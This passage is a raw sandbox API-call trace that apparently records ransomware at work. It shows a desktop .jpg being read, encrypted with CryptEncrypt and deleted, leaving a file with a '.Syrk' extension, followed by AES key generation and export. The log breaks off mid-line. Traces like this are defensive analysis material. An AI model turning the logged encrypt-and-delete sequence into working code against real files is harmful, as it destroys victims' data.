EtwEventActivityIdControl () returned 0x0 [0195.759] EtwEventActivityIdControl () returned 0x0 [0195.759] EtwEventActivityIdControl () returned 0x0 [0195.837] EtwEventActivityIdControl () returned 0x0 [0195.838] ReadFile (in: hFile=0x44c, lpBuffer=0x244415c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x244415c*, lpNumberOfBytesRead=0x5a2ea0c*=0x559d, lpOverlapped=0x0) returned 1 [0195.840] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2458174*, pdwDataLen=0x5a2ea00*=0x5590, dwBufLen=0x5590 | out: pbData=0x2458174*, pdwDataLen=0x5a2ea00*=0x5590) returned 1 [0195.841] WriteFile (in: hFile=0x45c, lpBuffer=0x24401c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24401c8*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0195.842] WriteFile (in: hFile=0x45c, lpBuffer=0x2459160*, nNumberOfBytesToWrite=0x45a4, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2459160*, lpNumberOfBytesWritten=0x5a2e9e4*=0x45a4, lpOverlapped=0x0) returned 1 [0195.843] ReadFile (in: hFile=0x44c, lpBuffer=0x244415c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x244415c*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0195.844] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x245d778*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x245d778*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0195.844] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x245d794*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x245d794*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0195.844] WriteFile (in: hFile=0x45c, lpBuffer=0x24401c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x24401c8*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0195.844] CloseHandle (hObject=0x45c) returned 1 [0195.846] CloseHandle (hObject=0x44c) returned 1 [0195.846] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.847] EtwEventActivityIdControl () returned 0x0 [0195.847] EtwEventActivityIdControl () returned 0x0 [0195.847] EtwEventActivityIdControl () returned 0x0 [0195.913] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 0x20 [0195.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0195.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0195.916] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0195.917] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0195.917] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0195.917] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0195.917] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0195.917] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0195.917] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0195.917] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0195.918] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0195.918] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0195.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0195.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0195.918] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0195.918] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0195.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0195.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0195.918] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0195.919] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0195.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0195.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0195.919] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 0x20 [0195.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0195.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0195.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0195.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0195.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0195.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0195.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0195.924] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0195.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0195.924] CoTaskMemAlloc (cb=0x404) returned 0x5c65188 [0195.924] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c65188, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0195.924] CoTaskMemFree (pv=0x5c65188) [0195.927] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 0x20 [0195.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0195.927] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg", lpFilePart=0x0) returned 0x3f [0195.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0195.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg"), fInfoLevelId=0x0, lpFileInformation=0x246b330 | out: lpFileInformation=0x246b330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722ed930, ftCreationTime.dwHighDateTime=0x1d99242, ftLastAccessTime.dwLowDateTime=0x7191290, ftLastAccessTime.dwHighDateTime=0x1d993ce, ftLastWriteTime.dwLowDateTime=0x7191290, ftLastWriteTime.dwHighDateTime=0x1d993ce, nFileSizeHigh=0x0, nFileSizeLow=0x559d)) returned 1 [0195.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0195.927] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg")) returned 1 [0195.931] EtwEventActivityIdControl () returned 0x0 [0195.932] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.932] EtwEventActivityIdControl () returned 0x0 [0195.932] EtwEventActivityIdControl () returned 0x0 [0195.932] EtwEventActivityIdControl () returned 0x0 [0195.941] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg.syrk")) returned 0x20 [0195.943] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg.syrk")) returned 0x20 [0195.943] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0195.943] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk", lpFilePart=0x0) returned 0x44 [0195.943] EtwEventActivityIdControl () returned 0x0 [0195.944] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.944] EtwEventActivityIdControl () returned 0x0 [0195.945] EtwEventActivityIdControl () returned 0x0 [0195.945] EtwEventActivityIdControl () returned 0x0 [0196.097] EtwEventActivityIdControl () returned 0x0 [0196.097] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.097] EtwEventActivityIdControl () returned 0x0 [0196.098] EtwEventActivityIdControl () returned 0x0 [0196.098] EtwEventActivityIdControl () returned 0x0 [0196.101] EtwEventActivityIdControl () returned 0x0 [0196.101] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.102] EtwEventActivityIdControl () returned 0x0 [0196.102] EtwEventActivityIdControl () returned 0x0 [0196.102] EtwEventActivityIdControl () returned 0x0 [0196.106] EtwEventActivityIdControl () returned 0x0 [0196.106] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.106] EtwEventActivityIdControl () returned 0x0 [0196.106] EtwEventActivityIdControl () returned 0x0 [0196.107] EtwEventActivityIdControl () returned 0x0 [0196.110] EtwEventActivityIdControl () returned 0x0 [0196.110] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.110] EtwEventActivityIdControl () returned 0x0 [0196.110] EtwEventActivityIdControl () returned 0x0 [0196.110] EtwEventActivityIdControl () returned 0x0 [0196.115] EtwEventActivityIdControl () returned 0x0 [0196.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0196.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\ztjhWWR6z7cU6mtRPN.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ztjhwwr6z7cu6mtrpn.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2476f08 | out: lpFileInformation=0x2476f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1365fa0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf1365fa0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf144a7e0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x55b4)) returned 1 [0196.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0196.121] GetConsoleOutputCP () returned 0x1b5 [0196.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.121] GetConsoleOutputCP () returned 0x1b5 [0196.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.121] GetConsoleOutputCP () returned 0x1b5 [0196.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.122] GetConsoleOutputCP () returned 0x1b5 [0196.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.122] GetConsoleOutputCP () returned 0x1b5 [0196.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.122] GetConsoleOutputCP () returned 0x1b5 [0196.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.122] GetConsoleOutputCP () returned 0x1b5 [0196.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.122] GetConsoleOutputCP () returned 0x1b5 [0196.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.123] GetConsoleOutputCP () returned 0x1b5 [0196.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.123] GetConsoleOutputCP () returned 0x1b5 [0196.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.123] GetConsoleOutputCP () returned 0x1b5 [0196.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.123] GetConsoleOutputCP () returned 0x1b5 [0196.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.124] GetConsoleOutputCP () returned 0x1b5 [0196.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.124] GetConsoleOutputCP () returned 0x1b5 [0196.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.124] GetConsoleOutputCP () returned 0x1b5 [0196.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.124] GetConsoleOutputCP () returned 0x1b5 [0196.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.125] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0196.125] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0196.126] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24983d8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x24983d8*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0196.126] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0196.127] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0196.128] EtwEventActivityIdControl () returned 0x0 [0196.128] EtwEventActivityIdControl () returned 0x0 [0196.128] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.129] EtwEventActivityIdControl () returned 0x0 [0196.129] EtwEventActivityIdControl () returned 0x0 [0196.129] EtwEventActivityIdControl () returned 0x0 [0196.130] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.131] EtwEventActivityIdControl () returned 0x0 [0196.131] EtwEventActivityIdControl () returned 0x0 [0196.131] EtwEventActivityIdControl () returned 0x0 [0196.133] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cff0) returned 1 [0196.135] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69080) returned 1 [0196.135] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0196.135] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0196.135] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24a00d0, pdwDataLen=0x5a2e79c | out: pbData=0x24a00d0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0196.135] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.136] EtwEventActivityIdControl () returned 0x0 [0196.136] EtwEventActivityIdControl () returned 0x0 [0196.136] EtwEventActivityIdControl () returned 0x0 [0196.289] SysStringLen (param_1="") returned 0x8 [0196.289] SysStringLen (param_1="A") returned 0x8 [0196.289] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.290] SysStringLen (param_1="စ漜臤掼㲤䛯觋") returned 0x8 [0196.290] SysStringLen (param_1="စ漜臤掼㲤䛯觋") returned 0x8 [0196.290] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.290] SysStringLen (param_1="A8") returned 0x8 [0196.290] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.290] SysStringLen (param_1="넍䠺ﶹ﹠繎漓⮆ᖢ") returned 0x8 [0196.290] SysStringLen (param_1="넍䠺ﶹ﹠繎漓⮆ᖢ") returned 0x8 [0196.290] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.290] SysStringLen (param_1="A81") returned 0x8 [0196.290] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.290] SysStringLen (param_1="ᜯ騗䕶⬚⪎ﰱ쀗") returned 0x8 [0196.290] SysStringLen (param_1="ᜯ騗䕶⬚⪎ﰱ쀗") returned 0x8 [0196.291] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.292] SysStringLen (param_1="A81M") returned 0x8 [0196.292] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.292] SysStringLen (param_1="傔龏쫻ꋺ෸ꪇ倁") returned 0x8 [0196.292] SysStringLen (param_1="傔龏쫻ꋺ෸ꪇ倁") returned 0x8 [0196.292] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.292] SysStringLen (param_1="A81M6") returned 0x8 [0196.292] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.292] SysStringLen (param_1="⻩磺䓟袖콈⡊") returned 0x8 [0196.292] SysStringLen (param_1="⻩磺䓟袖콈⡊") returned 0x8 [0196.292] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.292] SysStringLen (param_1="A81M6S") returned 0x8 [0196.292] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.292] SysStringLen (param_1="뚘悛ᚉꐸᆘ톁䪁዆") returned 0x8 [0196.292] SysStringLen (param_1="뚘悛ᚉꐸᆘ톁䪁዆") returned 0x8 [0196.292] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.293] SysStringLen (param_1="A81M6SS") returned 0x8 [0196.293] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.293] SysStringLen (param_1="꥞༬刋ᓾ﮳蠸큋遼") returned 0x8 [0196.293] SysStringLen (param_1="꥞༬刋ᓾ﮳蠸큋遼") returned 0x8 [0196.293] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.293] SysStringLen (param_1="A81M6SSd") returned 0x8 [0196.293] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.293] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜≋) returned 0x8 [0196.293] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜≋) returned 0x8 [0196.293] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜≋) returned 0x8 [0196.294] SysStringLen 